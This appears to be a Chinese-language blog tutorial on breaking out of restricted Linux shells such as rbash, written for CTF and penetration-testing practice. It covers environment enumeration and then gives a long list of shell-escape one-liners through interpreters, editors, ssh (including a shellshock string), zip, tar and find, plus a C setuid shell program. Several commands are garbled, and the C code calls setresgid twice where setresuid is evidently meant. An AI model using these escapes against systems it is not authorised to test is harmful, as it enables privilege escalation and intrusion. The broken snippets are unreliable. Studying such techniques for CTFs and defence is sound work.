总字符数: 4.35K
代码: 0.50K, 文本: 1.50K
预计阅读时间: 9 分钟
简介
受限制的Shell是出于安全考虑而创建的,主要用于限制用户对系统的访问权限和阻止/限制某些命令(如cd、ls、echo)。它通常在特定环境中使用,比如共享服务器、网络环境或受限的用户帐户。受限制的Shell可以阻止带有斜杠或输出重定向符号(如>、>>)的命令。常见的受限制的Shell类型有rbash、rksh和rsh。
但是,为什么有人会创建一个受限制的Shell呢?
- 提高安全性
- 阻止黑客/渗透测试人员
- 有时系统管理员会创建一个受限制的Shell来保护自己免受危险命令的影响
- 用于CTF挑战(Root-me/hackthebox/vulnhub)
枚举Linux环境
枚举是最重要的部分。我们需要枚举Linux环境,以确定如何绕过rbash。我们需要进行以下枚举:
检查可用的命令:执行cd、ls、echo等常见命令,确认它们是否可用。在受限制的Shell中,可能会有一些命令被限制或禁用。
- 检查cd命令:
cd ~
,将当前目录切换到用户的主目录。 - 检查ls命令:
ls
,列出当前目录中的文件和文件夹。 - 检查echo命令:
echo "Hello, World!"
,输出字符串”Hello, World!”。
- 检查cd命令:
检查操作符:了解可用的操作符,如>、>>、<、|等。某些受限制的Shell可能会限制或禁用特定的操作符。
- 检查>操作符:
echo "Text" > file.txt
,将字符串”Text”写入到file.txt文件中。 - 检查>>操作符:
echo "More text" >> file.txt
,将字符串”More text”追加写入到file.txt文件中。 - 检查<操作符:
cat < file.txt
,从file.txt文件中读取内容并输出。 - 检查|操作符:
ls | grep "txt"
,将ls命令的输出通过管道传递给grep命令,过滤包含”txt”的行。
- 检查>操作符:
检查可用的编程语言:探索可用的编程语言,如perl、ruby、python等。这些语言常常提供了强大的功能,可以用于绕过受限制的Shell。
- 检查Perl语言:
perl -e 'print "Hello, Perl!\n"'
,执行Perl代码并输出字符串”Hello, Perl!”。 - 检查Ruby语言:
ruby -e 'puts "Hello, Ruby!"'
,执行Ruby代码并输出字符串”Hello, Ruby!”。 - 检查Python语言:
python -c 'print("Hello, Python!")'
,执行Python代码并输出字符串”Hello, Python!”。
- 检查Perl语言:
查看sudo权限:使用sudo -l命令检查当前用户是否具有以root身份运行某些命令的权限。这可能提供了以root权限执行某些命令的机会。
- 检查当前用户的sudo权限:
sudo -l
,显示当前用户可以以root身份运行的命令列表。
- 检查当前用户的sudo权限:
检查SUID权限的文件或命令:查找具有SUID权限的文件或命令,这些文件可以以文件所有者的权限而不是当前用户的权限来执行。
- 检查SUID权限的文件:
find / -perm /4000
,查找系统中具有SUID权限的文件,并列出它们的路径。
- 检查SUID权限的文件:
检查当前所使用的Shell:执行echo $SHELL命令,确认当前所使用的Shell是否为受限制的Shell,如rbash。这将有助于了解当前的环境限制。
- 检查当前Shell:
echo $0
,显示当前使用的Shell。 - 检查当前Shell:
echo $SHELL
,显示当前使用的Shell。
- 检查当前Shell:
检查环境变量:运行env或printenv命令,查看当前的环境变量设置。这可以提供关于系统配置和可能的漏洞的信息。
- 查看所有环境变量:
env
或printenv
,显示当前的环境变量设置。
- 查看所有环境变量:
常见的攻击技术
现在让我们看一些常见的攻击技术。
echo os.system('/bin/bash')
python -c 'import pty;pty.spawn("/bin/sh")'
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
IRB:
exec "/bin/sh"
vi:
:!bash
:set shell =/bin/bash:shell
awk 'BEGIN {system("/bin/sh or /bin/bash")}'
find / -name test -exec /bin/sh or /bin/bash \;
ssh:
ssh username@IP – t "/bin/sh" or "/bin/bash"
ssh username@IP -t "bash –noprofile"
ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
如果允许使用”/“,可以运行
/bin/sh
或/bin/bash
。如果可以运行cp命令,可以将
/bin/sh
或/bin/bash
复制到您的目录中。从ftp >
!/bin/sh or !/bin/bash
从gdb >
!/bin/sh or !/bin/bash
从more/man/less >
!/bin/sh or !/bin/bash
从vim >
!/bin/sh or !/bin/bash
从rvim >
python import os; os.system("/bin/bash")
从scp >
scp -S /path/yourscript x y:
从awk >
awk 'BEGIN {system("/bin/sh or /bin/bash")}'
从find >
find / -name test -exec /bin/sh or /bin/bash ;
git帮助状态下通过
!/bin/bash
进入交互式shellpico -s "/bin/bash"
进入编辑器写入/bin/bash
然后按ctrl + T键zip /tmp/test.zip /tmp/test -T –unzip-command="sh -c /bin/bash"
tar cf /dev/null testfile –checkpoint=1 –
checkpointaction=exec=/bin/bash
编程语言技术
现在,让我们看一些编程语言技术。
- 从expect >
except spawn sh then sh
。 - 从python >
python -c 'import os; os.system("/bin/sh")'
- 从php >
php -a then exec("sh -i");
- 从perl >
perl -e 'exec "/bin/sh";'
- 从lua >
os.execute('/bin/sh')
- 从ruby >
exec "/bin/sh"
高级技术
现在让我们进入一些比较高级且不那么正当的技术。
从ssh >
ssh username@IP -t "/bin/sh"或"/bin/bash"
从ssh2 >
ssh username@IP -t "bash --noprofile" 3)
从ssh3 >
ssh username@IP -t "() { :; }; /bin/bash"(shellshock)
从ssh4 >
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 27.0.0.1(SUID)
从git > git help status > 然后可以执行
! /bin/bash
从pico >
pico -s "/bin/bash"
,然后您可以写入/bin/bash
,然后按下CTRL + T
从zip >
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
从tar >
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
C SETUID SHELL:
1
2
3
4
5
6
7
8
9
10
11
int main(int argc, char **argv, char **envp) {
setresgid(getegid(), getegid(), getegid()); // 设置真实组ID、有效组ID和保存组ID都为当前进程的组ID
setresgid(geteuid(), geteuid(), geteuid()); // 设置真实用户ID、有效用户ID和保存用户ID都为当前进程的用户ID
execve("/bin/sh", argv, envp); // 使用execve函数执行/bin/sh,启动一个新的shell进程
return 0; // 返回0表示程序执行成功
}